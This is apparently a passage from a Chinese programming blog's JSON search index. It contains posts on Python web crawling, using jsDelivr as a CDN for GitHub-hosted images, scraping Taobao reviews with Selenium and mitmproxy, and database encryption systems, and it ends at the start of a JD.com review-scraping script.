最后，请注意在爬虫开发过程中要遵守法律法规和道德准则，不要对目标网站造成不必要的负担或侵犯他人隐私。\n作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-03-26-python%E7%88%AC%E8%99%AB%E5%A6%82%E4%BD%95%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/","summary":"\u003cp\u003e写了几篇网络爬虫的博文后，有网友留言问Python爬虫如何入门？今天就来了解一下什么是爬虫，如何快速的上手Python爬虫。\u003c/p\u003e\n\u003ch2 id=\"一什么是网络爬虫\"\u003e一、什么是网络爬虫\u003c/h2\u003e\n\u003cp\u003e网络爬虫，英文名称为Web Crawler或Spider，是一种通过程序在互联网上自动获取信息的技术。它根据指定的规则，从互联网上下载网页、图片、视频等内容，并抽取其中的有用信息进行处理。简单来说，网络爬虫可以看作是在互联网上自动“爬行”的程序，它们从某个或某些初始网页开始，读取网页内容，找到其中的链接地址，然后通过这些链接地址寻找下一个网页，这样不断循环，直到按照某种策略抓取完所需的网页为止。\u003c/p\u003e","title":"Python爬虫如何快速入门"},{"content":"最近小伙伴们是否发现访问我的个人博客http://xiejava.ishareread.com/图片显示特别快了？ 我的博客的图片是放在github上的，众所周知的原因，github访问不是很快，尤其是hexo博客用github做图床经常图片刷不出来。一直想换图床，直到找到了jsDelivr，通过jsDelivr实现Github的图床CDN加速后果然速度快了很多。 jsdelivr是一个免费的公共CDN（内容分发网络）服务，它允许网站开发者将他们的代码库、JavaScript库、字体和其他资源托管在jsdelivr上，并通过jsdelivr的CDN网络进行快速分发。使用jsdelivr可以有效地减少用户下载资源的时间，提高网页加载速度，同时减轻原始服务器的负载。 jsdelivr支持多种类型的文件托管，包括JavaScript、CSS、字体、图片等。开发者可以将自己的文件上传到jsdelivr，并获取一个指向这些文件的URL。然后，他们可以在自己的网站中引用这些URL，jsdelivr会自动处理文件的缓存、分发和版本控制。 jsdelivr的优点包括：\n高速分发：jsdelivr拥有全球分布的CDN网络，可以确保资源在全球范围内都能快速加载。 可靠性高：jsdelivr提供了高可用性和容错性，确保资源的稳定性和可靠性。 易于使用：开发者可以简单地通过上传文件或使用现有的库来获取资源的URL，并在网站上引用它们。 开源和免费：jsdelivr是一个开源项目，提供免费的CDN服务，对开发者非常友好。 jsdelivr的官网地址jsdelivr.com 对于gitHub的cdn加速说明如下图所示。 对于github的图床来说，要用jsdelivr的cdn加速服务很简单 GitHub: https://\u0026lt;jsDelivr加速域名\u0026gt;/gh/\u0026lt;用户\u0026gt;/\u0026lt;项目\u0026gt;@\u0026lt;版本\u0026gt;/\u0026lt;资源路径\u0026gt; 拿一个实例来说明： github的图床地址：http://image2.ishareread.com/images/2024/20240320/1-jsdelivr官网的github说明.png\njsdelivr的cdn加速地址为：http://image2.ishareread.com/images/2024/20240320/1-jsdelivr官网的github说明.png\n对于hexo的博客来说，就是要把原来所有在博客md文件中的github图床地址换成jsdelivr的cdn加速地址。 写个Python程序很容易就能完成这个工作。 代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import os from logutils import logging logger=logging.getLogger(__name__) #定义模块日志记录器 # 修改替换文件内容，进行字符串替换 def changfile(blog_md_file,old_str,new_str): try: with open(blog_md_file, \u0026#34;r+\u0026#34;,encoding=\u0026#39;utf-8\u0026#39;) as file: # 打开文件 contents = file.read() # 读取文件内容 contents = contents.replace(old_str, new_str) # 替换字符串 file.seek(0) # 定位到文件开头 file.write(contents) # 将修改后的内容写入文件 file.truncate() # 删除文件剩余部分 logger.info(blog_md_file+\u0026#39;文件中的\u0026#39;+old_str+\u0026#39;已替换成\u0026#39;+new_str) except PermissionError: logger.error(\u0026#34;Permission denied when trying to open the file.\u0026#34;) except FileNotFoundError: logger.error(\u0026#34;File not found.\u0026#34;) except UnicodeDecodeError: logger.error(\u0026#34;The file was not decoded correctly.\u0026#34;) return None # 读取目录解析md文件并进行字符串替换 def changfilebypath(filepath=\u0026#39;\u0026#39;,old_str=\u0026#39;\u0026#39;,new_str=\u0026#39;\u0026#39;): try: files = os.listdir(filepath) for file in files: if file.find(\u0026#39;.md\u0026#39;) \u0026gt; 0: blog_file = os.path.join(filepath, file) changfile(blog_file,old_str,new_str) except FileNotFoundError as e: logger.error(\u0026#39;请确认输入是否正确!\u0026#39;,e) if __name__ == \u0026#39;__main__\u0026#39;: old_img_url = \u0026#39;http://image2.ishareread.com\u0026#39; # Github图床 new_img_url = \u0026#39;http://image2.ishareread.com\u0026#39; # jsdelivr加速 changfilebypath(filepath=r\u0026#39;D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\source\\_posts\u0026#39;,old_str=old_img_url,new_str=new_img_url) 作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-03-20-%E9%80%9A%E8%BF%87jsdelivr%E5%AE%9E%E7%8E%B0github%E5%9B%BE%E5%BA%8Acdn%E5%8A%A0%E9%80%9F/","summary":"\u003cp\u003e最近小伙伴们是否发现访问我的个人博客\u003ca href=\"http://xiejava.ishareread.com/\"\u003ehttp://xiejava.ishareread.com/\u003c/a\u003e图片显示特别快了？\n我的博客的图片是放在github上的，众所周知的原因，github访问不是很快，尤其是hexo博客用github做图床经常图片刷不出来。一直想换图床，直到找到了jsDelivr，通过jsDelivr实现Github的图床CDN加速后果然速度快了很多。\njsdelivr是一个免费的公共CDN（内容分发网络）服务，它允许网站开发者将他们的代码库、JavaScript库、字体和其他资源托管在jsdelivr上，并通过jsdelivr的CDN网络进行快速分发。使用jsdelivr可以有效地减少用户下载资源的时间，提高网页加载速度，同时减轻原始服务器的负载。\njsdelivr支持多种类型的文件托管，包括JavaScript、CSS、字体、图片等。开发者可以将自己的文件上传到jsdelivr，并获取一个指向这些文件的URL。然后，他们可以在自己的网站中引用这些URL，jsdelivr会自动处理文件的缓存、分发和版本控制。\njsdelivr的优点包括：\u003c/p\u003e","title":"通过jsDelivr实现Github图床CDN加速"},{"content":"\n前期出了一个《爬取京东商品评价信息实战》的教程，最近又有网友提到要出一个爬淘宝商品评论的教程。说实话淘宝的反爬机制做得比京东要严，所以用爬取京东商品评价信息的方式取爬取淘宝商品评价不太可行。本文还是介绍通过Selenium模拟登录后来进行淘宝商品评价信息的爬取。 Selenium安装与配置及如何模拟登录淘宝见《Selenium安装与配置》及《Selenium实战-模拟登录淘宝并爬取商品信息》\n一、分析需要爬取的页面 淘宝的商品评价信息在商品详情页面，需要登录淘宝后，访问到商品详情页，并且需要点击“宝贝评价”才能看到相应的商品评价信息。 我们还是要通过chrome浏览器的调试模式来分析需要点击哪个页面元素才能看到具体的评价信息。通过分析可以得知要点击\u0026lt;div class=\u0026quot;Tabs--title--1Ov7S5f Tabs--active--2TTlc9s\u0026quot;\u0026gt;\u0026lt;span data-spm-anchor-id=\u0026quot;pc_detail.27183998/evo365560b447259.202205.i0.65b87dd6RabS41\u0026quot;\u0026gt;宝贝评价\u0026lt;/span\u0026gt;\u0026lt;div class=\u0026quot;Tabs--line--1ibdRMv\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/div\u0026gt; 这个元素才能进行切换到宝贝评价。 具体的评价信息是在\u0026lt;div class=\u0026quot;Comment--content--15w7fKj\u0026quot; data-spm-anchor-id=\u0026quot;pc_detail.27183998/evo365560b447259.202207.i0.65b87dd6RabS41\u0026quot;\u0026gt;很好很喜欢下次还会买的，之前在这店买过iPhone12 Air pos pro iPad Air3 距离上个平板时隔三年又买了iPad Air5 物流也很快，唯一的不足就是要花我自己的钱买😂哈哈哈非常推荐 \u0026lt;/div\u0026gt; 这些\u0026lt;div class=\u0026quot;Comment--content--15w7fKj\u0026quot;\u0026gt;......\u0026lt;/div\u0026gt;元素里。 分析完页面后，就可以开始思考如何编码了。\n二、实现爬取商品评价信息的代码 通过上面的分析，我们要获取商品评价信息，需要让Selenium进行模拟登录-\u0026gt;访问商品列表页面-\u0026gt;访问商品详情页面-\u0026gt;点击“宝贝评价”-\u0026gt;获取并解析商品评价信息。 前面让Selenium进行模拟登录-\u0026gt;访问商品列表页面在《Selenium实战-模拟登录淘宝并爬取商品信息》已有介绍。这里主要介绍后面的部分，访问商品详情页面-\u0026gt;点击“宝贝评价”-\u0026gt;获取并解析商品评价信息。 获取并解析商品评价信息有两种方式，一种是通过解析显示评价信息的元素获取，一种是通过mitmproxy代理进行流量抓包获取。\n1、通过解析显示评价信息的元素获取商品评价信息 selenium_taobao.py的部分代码参考如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 # 解析获取商品信息 def get_products(): \u0026#34;\u0026#34;\u0026#34;提取商品数据\u0026#34;\u0026#34;\u0026#34; html = driver.page_source doc = pq(html) items = doc(\u0026#39;.Card--doubleCardWrapper--L2XFE73\u0026#39;).items() for item in items: product = {\u0026#39;url\u0026#39;: item.attr(\u0026#39;href\u0026#39;), \u0026#39;price\u0026#39;: item.find(\u0026#39;.Price--priceInt--ZlsSi_M\u0026#39;).text(), \u0026#39;realsales\u0026#39;: item.find(\u0026#39;.Price--realSales--FhTZc7U-cnt\u0026#39;).text(), \u0026#39;title\u0026#39;: item.find(\u0026#39;.Title--title--jCOPvpf\u0026#39;).text(), \u0026#39;shop\u0026#39;: item.find(\u0026#39;.ShopInfo--TextAndPic--yH0AZfx\u0026#39;).text(), \u0026#39;location\u0026#39;: item.find(\u0026#39;.Price--procity--_7Vt3mX\u0026#39;).text()} print(product) item_href=item.attr(\u0026#39;href\u0026#39;) # 得到商品的详情访问页面 if item_href.find(\u0026#39;https:\u0026#39;)\u0026gt;=0: item_url =item_href print(item_url) else: item_url = \u0026#34;https:\u0026#34; + item.attr(\u0026#39;href\u0026#39;) # 爬取商品评价 get_prod_comments(item_url) time.sleep(sleeptime) # 爬取商品评价 def get_prod_comments(item_url): driver.get(item_url) print(\u0026#39;跳转至详情页.......\u0026#39;+item_url) ele = wait.until(EC.element_to_be_clickable((By.XPATH, \u0026#34;//div[@class=\u0026#39;Tabs--title--1Ov7S5f \u0026#39;]/span\u0026#34;))) time.sleep(sleeptime) # 向下滚动至目标元素可见 js = \u0026#34;arguments[0].scrollIntoView();\u0026#34; driver.execute_script(js, ele) print(\u0026#39;向下滚动至-宝贝评价-元素可见.......\u0026#39;) driver.execute_script(\u0026#34;arguments[0].click();\u0026#34;, ele) print(\u0026#39;点击-宝贝评价.......\u0026#39;) ele_comments=driver.find_elements(By.CSS_SELECTOR,\u0026#34;.Comment--content--15w7fKj\u0026#34;) print(\u0026#39;提取宝贝评价信息.......\u0026#39;) for ele_comment in ele_comments: print(ele_comment.text) 在解析获取商品信息的方法中通过item_href=item.attr(\u0026lsquo;href\u0026rsquo;) # 得到商品的详情访问页面 在爬取商品评价get_prod_comments(item_url)的方法中，通过driver.get(item_url)跳转到了商品详情页面。通过ele = wait.until(EC.element_to_be_clickable((By.XPATH, \u0026ldquo;//div[@class=\u0026lsquo;Tabs\u0026ndash;title\u0026ndash;1Ov7S5f \u0026lsquo;]/span\u0026rdquo;)))定位到“宝贝评价”的点击按钮，通过driver.execute_script(\u0026ldquo;arguments[0].click();\u0026rdquo;, ele)进行点击事件，然后通过ele_comments=driver.find_elements(By.CSS_SELECTOR,\u0026quot;.Comment\u0026ndash;content\u0026ndash;15w7fKj\u0026quot;)找到显示评价信息的元素，循环后解析具体的评价文本信息。 效果如下： 2、通过mitmproxy代理进行流量抓包获取商品评价信息 既然通过Selenium进行模拟点击“宝贝评价”访问了商品评价信息，也可通过流量抓包的方式来获取商品评价信息。 同样chrome浏览器的调试模式来分析商品评价是从哪些接口返回的数据，这里可以看到宝贝评价是通过https://h5api.m.taobao.com/h5/mtop.alibaba.review.list.for.new.pc.detail/1.0/....接口返回的数据。 切换到Response，可以看到接口返回的宝贝评价JSON串。 有了这些信息后，就可以写mitmproxy代理抓包的代码了。 taobao_scripts.py代码如下：\n1 2 3 4 5 6 7 8 9 import json # 抓取淘宝商品评价信息 def response(flow): url = \u0026#39;https://h5api.m.taobao.com/h5/mtop.alibaba.review.list.for.new.pc.detail\u0026#39; if flow.request.url.startswith(url): text = flow.response.text json_data = json.loads(text) print(json_data) 在控制台运行 mitmdump -s taobao_scripts.py 启动mitmproxy代理服务。具体参考《Selenium实战-模拟登录淘宝并爬取商品信息》设置好chrome浏览器的mitmproxy代理。然后运行selenium_taobao.py通过Selenium驱动浏览器，进行自动模拟登录-\u0026gt;访问商品列表页面-\u0026gt;访问商品详情页面-\u0026gt;点击“宝贝评价”。 在运行mitmdump的控制台可以看到通过抓包获取的淘宝商品评价的数据信息。 效果如下图： 三、附-完整代码 selenium_taobao.py完整代码如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 from selenium.webdriver import Chrome from selenium.webdriver.chrome.options import Options from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from selenium.common import TimeoutException, NoSuchElementException from urllib.parse import quote from pyquery import PyQuery as pq import time sleeptime=5 chrome_options = Options() chrome_options.add_experimental_option(\u0026#34;debuggerAddress\u0026#34;, \u0026#34;localhost:9222\u0026#34;) #此处端口保持和命令行启动的端口一致 driver = Chrome(options=chrome_options) driver.implicitly_wait(5) # 隐式等待 wait = WebDriverWait(driver, 10) # 显示等待 # 模拟淘宝登录 def login_taobao(): print(\u0026#39;开始登录...\u0026#39;) try: login_url=\u0026#39;https://login.taobao.com/member/login.jhtml\u0026#39; driver.get(login_url) check_login_type() input_login_id = wait.until(EC.presence_of_element_located((By.ID, \u0026#39;fm-login-id\u0026#39;))) input_login_password = wait.until(EC.presence_of_element_located((By.ID, \u0026#39;fm-login-password\u0026#39;))) input_login_id.send_keys(\u0026#39;your account\u0026#39;) input_login_password.send_keys(\u0026#39;your password\u0026#39;) submit = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, \u0026#39;.fm-button.fm-submit.password-login\u0026#39;))) submit.click() is_loging = wait.until(EC.url_changes(login_url)) return is_loging except TimeoutException: print(\u0026#39;login_taobao TimeoutException\u0026#39;) submit = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, \u0026#39;.fm-button.fm-submit\u0026#39;))) submit.click() is_loging = wait.until(EC.url_changes(login_url)) if is_loging: return is_loging else: login_taobao() # 判断登录模式，如果是扫描登录则切换到用户名密码登录模式 def check_login_type(): print(\u0026#39;判断登录模式\u0026#39;) try: wait.until(EC.presence_of_element_located((By.ID, \u0026#39;fm-login-id\u0026#39;))) except TimeoutException: change_type = wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, \u0026#39;.iconfont.icon-password\u0026#39;))) change_type.click() # 切换到用户密码模式登录 print(\u0026#39;切换到用户密码模式登录...\u0026#39;) # 解析获取商品信息 def get_products(): \u0026#34;\u0026#34;\u0026#34;提取商品数据\u0026#34;\u0026#34;\u0026#34; html = driver.page_source doc = pq(html) items = doc(\u0026#39;.Card--doubleCardWrapper--L2XFE73\u0026#39;).items() for item in items: product = {\u0026#39;url\u0026#39;: item.attr(\u0026#39;href\u0026#39;), \u0026#39;price\u0026#39;: item.find(\u0026#39;.Price--priceInt--ZlsSi_M\u0026#39;).text(), \u0026#39;realsales\u0026#39;: item.find(\u0026#39;.Price--realSales--FhTZc7U-cnt\u0026#39;).text(), \u0026#39;title\u0026#39;: item.find(\u0026#39;.Title--title--jCOPvpf\u0026#39;).text(), \u0026#39;shop\u0026#39;: item.find(\u0026#39;.ShopInfo--TextAndPic--yH0AZfx\u0026#39;).text(), \u0026#39;location\u0026#39;: item.find(\u0026#39;.Price--procity--_7Vt3mX\u0026#39;).text()} print(product) item_href=item.attr(\u0026#39;href\u0026#39;) # 得到商品的详情访问页面 if item_href.find(\u0026#39;https:\u0026#39;)\u0026gt;=0: item_url =item_href print(item_url) else: item_url = \u0026#34;https:\u0026#34; + item.attr(\u0026#39;href\u0026#39;) # 爬取商品评价 get_prod_comments(item_url) time.sleep(sleeptime) # 爬取商品评价 def get_prod_comments(item_url): driver.get(item_url) print(\u0026#39;跳转至详情页.......\u0026#39;+item_url) ele = wait.until(EC.element_to_be_clickable((By.XPATH, \u0026#34;//div[@class=\u0026#39;Tabs--title--1Ov7S5f \u0026#39;]/span\u0026#34;))) time.sleep(sleeptime) # 向下滚动至目标元素可见 js = \u0026#34;arguments[0].scrollIntoView();\u0026#34; driver.execute_script(js, ele) print(\u0026#39;向下滚动至-宝贝评价-元素可见.......\u0026#39;) driver.execute_script(\u0026#34;arguments[0].click();\u0026#34;, ele) print(\u0026#39;点击-宝贝评价.......\u0026#39;) ele_comments=driver.find_elements(By.CSS_SELECTOR,\u0026#34;.Comment--content--15w7fKj\u0026#34;) print(\u0026#39;提取宝贝评价信息.......\u0026#39;) for ele_comment in ele_comments: print(ele_comment.text) # 自动获取商品信息并自动翻页 def index_page(url,cur_page,max_page): print(\u0026#39; 正在爬取：\u0026#39;+url) try: driver.get(url) get_products() next_page_btn = wait.until(EC.element_to_be_clickable((By.XPATH, \u0026#39;//button/span[contains(text(),\u0026#34;下一页\u0026#34;)]\u0026#39;))) next_page_btn.click() do_change = wait.until(EC.url_changes(url)) if do_change and cur_page\u0026lt;max_page: new_url=driver.current_url cur_page = cur_page + 1 index_page(new_url,cur_page,max_page) except TimeoutException: print(\u0026#39;---index_page TimeoutException---\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: is_loging=login_taobao() if is_loging: print(\u0026#39;已经登录\u0026#39;) KEYWORD = \u0026#39;iPad\u0026#39; url = \u0026#39;https://s.taobao.com/search?page=1\u0026amp;q=\u0026#39; + quote(KEYWORD) + \u0026#39;\u0026amp;tab=all\u0026#39; max_page=1 index_page(url,1,max_page) 作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-03-16-python%E7%88%AC%E5%8F%96%E6%B7%98%E5%AE%9D%E5%95%86%E5%93%81%E8%AF%84%E4%BB%B7%E4%BF%A1%E6%81%AF%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003e\u003cimg alt=\"Python爬虫\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2024/20240316/0-python%E7%88%AC%E8%99%AB.png\"\u003e\u003c/p\u003e\n\u003cp\u003e前期出了一个《\u003ca href=\"http://xiejava.ishareread.com/posts/db2fbb43/\"\u003e爬取京东商品评价信息实战\u003c/a\u003e》的教程，最近又有网友提到要出一个爬淘宝商品评论的教程。说实话淘宝的反爬机制做得比京东要严，所以用爬取京东商品评价信息的方式取爬取淘宝商品评价不太可行。本文还是介绍通过Selenium模拟登录后来进行淘宝商品评价信息的爬取。\nSelenium安装与配置及如何模拟登录淘宝见《\u003ca href=\"http://xiejava.ishareread.com/posts/699b1506/\"\u003eSelenium安装与配置\u003c/a\u003e》及《\u003ca href=\"http://xiejava.ishareread.com/posts/6e762a1a/\"\u003eSelenium实战-模拟登录淘宝并爬取商品信息\u003c/a\u003e》\u003c/p\u003e\n\u003ch2 id=\"一分析需要爬取的页面\"\u003e一、分析需要爬取的页面\u003c/h2\u003e\n\u003cp\u003e淘宝的商品评价信息在商品详情页面，需要登录淘宝后，访问到商品详情页，并且需要点击“宝贝评价”才能看到相应的商品评价信息。\n\u003cimg alt=\"淘宝商品评价页面分析\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2024/20240316/1-%E6%B7%98%E5%AE%9D%E5%95%86%E5%93%81%E8%AF%84%E4%BB%B7%E9%A1%B5%E9%9D%A2%E5%88%86%E6%9E%90.png\"\u003e\u003c/p\u003e","title":"Python爬取淘宝商品评价信息实战"},{"content":"数据库作为计算机信息系统的核心组成部分，在整个信息系统的构建中起着关键的作用。自20世纪60年代起，数据库技术经过短短几十年的飞速发展，现已成为整个信息系统的核心内容，并得到了广泛的应用。然而，随着数据库系统集中处理大量数据信息的任务日益繁重，其安全问题也日渐突出。\n信息安全的关键在于数据的安全，而数据的安全则主要通过数据加密技术来实现。随着网上购物等电子商务的兴起和繁荣，以数据库为代表的信息安全已成为很多企业的共识。越来越多的企业和机构开始重视数据库的数据安全问题，因为一旦数据泄露或遭到非法访问，将可能导致严重的经济损失和声誉损害。\n为了增强普通关系数据库管理系统的安全性，数据库加密系统应运而生。其目的是为了提供一个安全适用的数据库加密平台，对通信和数据库存储的内容实施有效保护。通过采用先进的加密技术和严格的密钥管理策略，数据库加密系统可以确保数据在存储和传输过程中的机密性、完整性和可用性，从而有效地防止数据泄露和非法访问。\n本文让我们一起来认识数据库加密系统\n一、什么是数据库加密系统 数据库加密系统是一款基于透明加密技术和主动防御机制的数据库防泄漏系统。 它主要实现对数据库中的敏感数据加密存储、访问控制增强、应用访问安全、安全审计以及三权分立等功能。通过使用特定的加密算法和密钥管理技术，数据库加密系统能够确保数据在存储和传输过程中的安全性，有效防止明文存储引起的数据泄密、外部黑客攻击以及内部高权限用户的数据窃取。数据库加密系统旨在从根本上解决数据库敏感数据泄漏问题，实现数据的高度安全和应用的完全透明。\n二、数据库加密系统的工作原理 数据库加密系统的原理主要基于加密技术和密钥管理。其核心目的是确保数据库中存储的敏感数据不被未经授权的人员或程序读取或篡改。以下是数据库加密系统原理的详细解释：\n数据加密 数据加密是数据库加密系统的核心功能。它使用特定的加密算法，将数据库中的明文数据（即原始数据）转换成密文数据。这个转换过程依赖于一个或多个密钥，这些密钥是加密算法的输入参数，用于控制加密的强度和复杂性。通过这种方式，即使数据被非法获取，没有正确的密钥也无法解密和读取原始数据。 密钥管理 密钥管理是数据库加密系统中至关重要的环节。它涉及到密钥的生成、存储、分发、更新和销毁等过程。密钥的安全性直接关系到整个加密系统的安全性。因此，密钥管理通常采用多种安全措施，如使用硬件安全模块（HSM）存储密钥、实施密钥的定期更换和备份、以及使用强密码保护密钥文件等。 透明加密 透明加密是数据库加密系统的一个重要特性。它允许应用程序在不需要修改的情况下，对数据库中的敏感数据进行加密和解密操作。这意味着应用程序无需关心数据的加密细节，只需像处理普通数据一样处理加密数据。这种透明性大大简化了加密系统的部署和维护过程。 访问控制 除了数据加密外，数据库加密系统还通常实施严格的访问控制策略。这些策略通过身份验证、授权和审计等手段，确保只有经过授权的用户才能访问和操作数据库中的敏感数据。这有助于防止内部人员滥用权限或外部攻击者入侵数据库。 数据库加密示意图如下： 数据库加密示意图\r数据库加密系统的原理基于数据加密、密钥管理、透明加密和访问控制等多个方面。这些技术和策略共同确保数据库中的敏感数据得到充分的保护，防止未经授权的访问和泄露。\n三、数据库加密系统的核心功能 数据库加密系统核心功能包括数据加密、数据解密、权限控制、审计跟踪。\n数据加密：通过对数据库中的敏感数据进行加密，使得即使数据被非法获取，也无法直接读取其内容。 数据解密：对经过加密的数据进行解密，使其能够被正常访问和使用。通常，只有具有特定权限的用户才能进行解密操作。 权限管理：增强对数据库访问的控制，确保只有经过授权的用户才能访问特定的数据。 审计跟踪：记录和跟踪数据库的所有操作，包括谁在何时访问了哪些数据，进行了哪些操作，以便在发生安全问题时进行追溯和审计。 四、数据库加密系统的特点和优势 数据库加密系统具有以下特点和优势：\n数据安全性增强：通过数据加密技术，数据库加密系统能够确保敏感数据在存储和传输过程中的安全性。即使数据被非法获取，攻击者也无法直接读取其明文内容，从而防止数据泄露和滥用。 透明性：数据库加密系统通常设计为对最终用户透明，管理员可以根据需要进行明文和密文的转换工作。这使得用户无需改变原有的操作习惯，同时也降低了系统部署和维护的复杂性。 独立性：加密系统独立于数据库应用系统，这意味着无需改动数据库应用系统就能实现数据加密功能。这种独立性使得数据库加密系统能够灵活地集成到现有的信息系统中。 性能影响较小：数据库加密系统通常采用高效的加解密算法和优化的处理流程，以确保在加密数据的同时不会对数据库服务器的性能产生显著影响。这使得系统能够在实际应用中保持较高的响应速度和吞吐量。 灵活的加密方式：数据库加密系统支持多种加密方式，如字段级加密、记录级加密等，以满足不同场景下的安全需求。此外，系统还可以根据业务需求灵活调整加密策略，以适应数据的变化和新的安全威胁。 完善的密钥管理：密钥是数据加密和解密的关键。数据库加密系统通常具备完善的密钥管理功能，包括密钥的生成、存储、分发、更新和销毁等。这确保了密钥的安全性和可用性，从而提高了整个加密系统的安全性。 合规性支持：随着数据保护法规的日益严格，数据库加密系统能够帮助企业满足相关的合规性要求。通过实施数据加密和访问控制等安全措施，系统能够确保数据的合规性存储和使用，避免因违反法规而面临的经济和法律风险。 数据库加密系统通过增强数据安全性、提供透明性、独立性、较小的性能影响、灵活的加密方式、完善的密钥管理以及合规性支持等特点和优势，为企业和机构提供了一个安全、可靠的数据库环境。\n五、数据库加密系统的部署方式 1、在线透明部署 通过在线透明的部署方式将数据库加密系统串接在数据库前，对数据库进行透明加密，提高数据库服务的可用性，部署如下图所示。 数据库加密系统串联部署图\r2、旁路代理模式 通过旁路部署的方式将数据库透明加密接入到数据库所在网络中，数据库透明加密采用反向代理模式，部署如下图所示。 数据库加密系统旁路代理部署图\r六、数据库加密系统的应用场景 数据库加密系统有着广泛的应用场景，主要用于保护敏感数据的安全性和完整性，防止数据泄露和非法访问。以下是一些常见的应用场景：\n金融行业：银行、证券、保险等金融机构在处理客户数据时，涉及大量敏感信息，如个人身份信息、账户信息、交易记录等。数据库加密系统能够确保这些敏感数据在存储和传输过程中的安全，防止被非法获取或篡改。 医疗领域：医疗机构存储着大量的患者个人信息、病历记录、检查结果等敏感数据。数据库加密系统可以保护这些数据的安全，防止数据泄露和滥用，维护患者的隐私权益。 政府机构：政府部门在政务处理、人口管理、税务征收等方面积累了大量的公民个人信息和敏感数据。通过数据库加密系统，政府可以确保这些数据的安全存储和合法使用，防止数据被非法获取或滥用。 电子商务：电商平台涉及大量用户信息、交易数据等敏感信息。数据库加密系统可以保护这些数据的安全，防止黑客攻击和数据泄露，维护电商平台的声誉和用户的信任。 教育行业：学校和教育机构存储着学生的个人信息、成绩记录、学籍资料等敏感数据。数据库加密系统可以保护这些数据的安全，防止数据被非法访问或篡改，维护教育公平和信息安全。 数据库加密系统适用于需要保护敏感数据安全的各个领域，确保数据在存储、传输和使用过程中的完整性和机密性。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-03-15-%E6%95%B0%E6%8D%AE%E5%AE%89%E5%85%A8%E4%B9%8B%E8%AE%A4%E8%AF%86%E6%95%B0%E6%8D%AE%E5%BA%93%E5%8A%A0%E5%AF%86%E7%B3%BB%E7%BB%9F/","summary":"\u003cp\u003e数据库作为计算机信息系统的核心组成部分，在整个信息系统的构建中起着关键的作用。自20世纪60年代起，数据库技术经过短短几十年的飞速发展，现已成为整个信息系统的核心内容，并得到了广泛的应用。然而，随着数据库系统集中处理大量数据信息的任务日益繁重，其安全问题也日渐突出。\u003c/p\u003e","title":"数据安全之认识数据库加密系统"},{"content":"\n上期介绍了通过《mitmproxy实战-通过mitmdump爬取京东金榜数据》，能够上京东金榜的商品一般评价都是比较好的，这次介绍如何爬取京东商品的评价信息。\n一、分析商品评价的页面信息 1、请求参数分析 京东的商品评价信息是在商品的详情页面，我们随便访问一个京东的商品详情页面如https://item.jd.com/100087971268.html 在这里可以看到100087971268就是商品ID也是商品的skuId，这个是商品的唯一ID可以和很过信息关联。我们可以通过chrome浏览器的调试模式来分析商品评价信息的数据是如何获取和展示的。 通过chrome浏览器的调试模式可以看到，评价信息是通过https://api.m.jd.com/?appid=item-v3\u0026amp;functionId=pc_club_productPageComments\u0026amp;client=pc\u0026amp;clientVersion=1.0.0\u0026amp;t=1710122207175\u0026amp;loginType=3\u0026amp;uuid=181111935.16953916127351737253418.1695391613.1709713566.1710121957.56\u0026amp;productId=100087971268\u0026amp;score=0\u0026amp;sortType=5\u0026amp;page=0\u0026amp;pageSize=10\u0026amp;isShadowSku=0\u0026amp;fold=1\u0026amp;bbtf=\u0026amp;shield= 这个接口来返回的，其中关键的信息包括functionId=pc_club_productPageComments，productId=100087971268，page=0\u0026amp;pageSize=10。 productId=100087971268表示是获取商品ID为100087971268的商品评价，page=0\u0026amp;pageSize=10表示当前页是0，每页显示10条记录。\n2、接口返回信息分析 我们可以切换到Response的标签页，分析接口的返回信息\n在这里可以看到通过接口反馈的是一个json格式的数据，其中评价信息就在comments的节点里，我们只要解析这个json就可以得到具体的评价信息了。 通过参数的分析和返回结果的分析后，就可以开始编码实现了。\n二、爬取京东商品评价信息代码实现 编码主要实现两个部分的内容 1、是要组织请求参数，将请求URL的一些参数用变量替换，如商品ID，当前页等。 2、是要解析返回的JSON数据，从JSON数据中解析获取需要的评价信息以及下载评价信息中的图片。 在组织请求参数的时候，有两个关键信息，一个是Cookie信息，一个是请求的URL，因为访问京东的接口要登录，所以需要Cookie的信息。这些信息都可以在登录到京东后在chrome浏览器的调试模式中可以拿到。\n1、具体代码 具体代码如下： getJDProdComments.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import json import os import requests from urllib.request import urlretrieve import time sleeptime = 1 # 休眠时间 